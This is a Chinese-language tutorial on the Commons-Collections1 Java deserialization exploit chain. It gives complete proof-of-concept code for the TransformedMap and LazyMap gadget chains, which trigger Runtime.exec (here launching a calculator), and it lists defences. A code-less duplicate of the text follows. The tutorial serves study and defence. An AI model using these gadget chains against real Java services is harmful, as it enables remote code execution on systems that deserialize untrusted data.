Java反序列化学习之Commons-Collections1
字数 1086 2025-08-25 22:59:09

Java反序列化漏洞分析:Commons-Collections1利用链详解

漏洞概述

Apache Commons Collections是一个广泛使用的Java库,提供了许多实用的数据结构工具类。在3.1及以下版本中,存在一个严重的反序列化漏洞,攻击者可以通过精心构造的序列化对象在目标系统上执行任意代码。

核心漏洞点

漏洞位于commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/InvokerTransformer.java中。InvokerTransformer类使用了反射机制,且反射参数完全可控,允许调用任意类的任意方法。

关键代码特征:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (...) {
        // 异常处理
    }
}

利用链构造原理

要利用此漏洞,需要构造一个能够循环调用transform方法的链。ChainedTransformer类正好满足这一需求:

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

命令执行构造

通过反射执行系统命令的典型方式:

// 直接执行
Runtime.getRuntime().exec(new String[]{"deepin-calculator"});

// 反射执行
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
    Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),
    new String[]{"deepin-calculator"}
);

对应的Transformer数组构造:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[] {Object.class, Object[].class}, 
        new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[] {String.class}, 
        new Object[] {"deepin-calculator"})
};

两种主要利用链

1. TransformedMap利用链

利用路径

  1. TransformedMap类中的checkSetValue方法调用了transform方法
  2. AbstractInputCheckedMapDecorator.setValue调用了checkSetValue
  3. AnnotationInvocationHandler.readObject中调用了setValue方法

关键条件

  • this.type必须是一个定义了方法的注解类(如Retention.classTarget.class
  • this.memberValues必须包含与注解方法名相同的键

完整POC

public static Object generatePayload() throws Exception {
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
        new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"deepin-calculator"})
    };
    Transformer transformerChain = new ChainedTransformer(transformers);

    Map innermap = new HashMap();
    innermap.put("value", "mochazz");
    Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
    
    Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(Retention.class, outmap);
    return instance;
}

2. LazyMap利用链

利用路径

  1. LazyMap.get方法调用了transform方法
  2. AnnotationInvocationHandler.invoke调用了get方法
  3. 通过动态代理触发invoke方法

关键概念:动态代理

动态代理可以在不修改原函数代码的基础上添加额外功能,核心是InvocationHandler接口:

interface Animals {
    void say();
}

class Cat implements Animals {
    public void say() {
        System.out.println("I'm a cat!");
    }
}

class CatProxyHandle implements InvocationHandler {
    private Object obj;
    public CatProxyHandle(Object obj) { this.obj = obj; }
    
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("Before invoke " + method.getName());
        method.invoke(obj, args);
        System.out.println("After invoke " + method.getName());
        return null;
    }
}

完整POC

public static Object generatePayload() throws Exception {
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
        new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"deepin-calculator"})
    };
    Transformer transformerChain = new ChainedTransformer(transformers);

    Map innermap = new HashMap();
    innermap.put("value", "mochazz");
    Map outmap = LazyMap.decorate(innermap, transformerChain);
    
    Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    
    InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
    Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
    Object instance = ctor.newInstance(Retention.class, mapProxy);
    return instance;
}

防御措施

  1. 升级Commons Collections到3.2.2或更高版本
  2. 使用Java反序列化过滤器(JEP 290)
  3. 避免反序列化不可信数据

参考资源

  1. Java反序列化利用链挖掘之CommonsCollections1
  2. 以Commons-Collections为例谈Java反序列化POC的编写
Java反序列化漏洞分析:Commons-Collections1利用链详解 漏洞概述 Apache Commons Collections是一个广泛使用的Java库,提供了许多实用的数据结构工具类。在3.1及以下版本中,存在一个严重的反序列化漏洞,攻击者可以通过精心构造的序列化对象在目标系统上执行任意代码。 核心漏洞点 漏洞位于 commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/InvokerTransformer.java 中。 InvokerTransformer 类使用了反射机制,且反射参数完全可控,允许调用任意类的任意方法。 关键代码特征: 利用链构造原理 要利用此漏洞,需要构造一个能够循环调用 transform 方法的链。 ChainedTransformer 类正好满足这一需求: 命令执行构造 通过反射执行系统命令的典型方式: 对应的 Transformer 数组构造: 两种主要利用链 1. TransformedMap利用链 利用路径 TransformedMap 类中的 checkSetValue 方法调用了 transform 方法 AbstractInputCheckedMapDecorator.setValue 调用了 checkSetValue AnnotationInvocationHandler.readObject 中调用了 setValue 方法 关键条件 this.type 必须是一个定义了方法的注解类(如 Retention.class 或 Target.class ) this.memberValues 必须包含与注解方法名相同的键 完整POC 2. LazyMap利用链 利用路径 LazyMap.get 方法调用了 transform 方法 AnnotationInvocationHandler.invoke 调用了 get 方法 通过动态代理触发 invoke 方法 关键概念:动态代理 动态代理可以在不修改原函数代码的基础上添加额外功能,核心是 InvocationHandler 接口: 完整POC 防御措施 升级Commons Collections到3.2.2或更高版本 使用Java反序列化过滤器(JEP 290) 避免反序列化不可信数据 参考资源 Java反序列化利用链挖掘之CommonsCollections1 以Commons-Collections为例谈Java反序列化POC的编写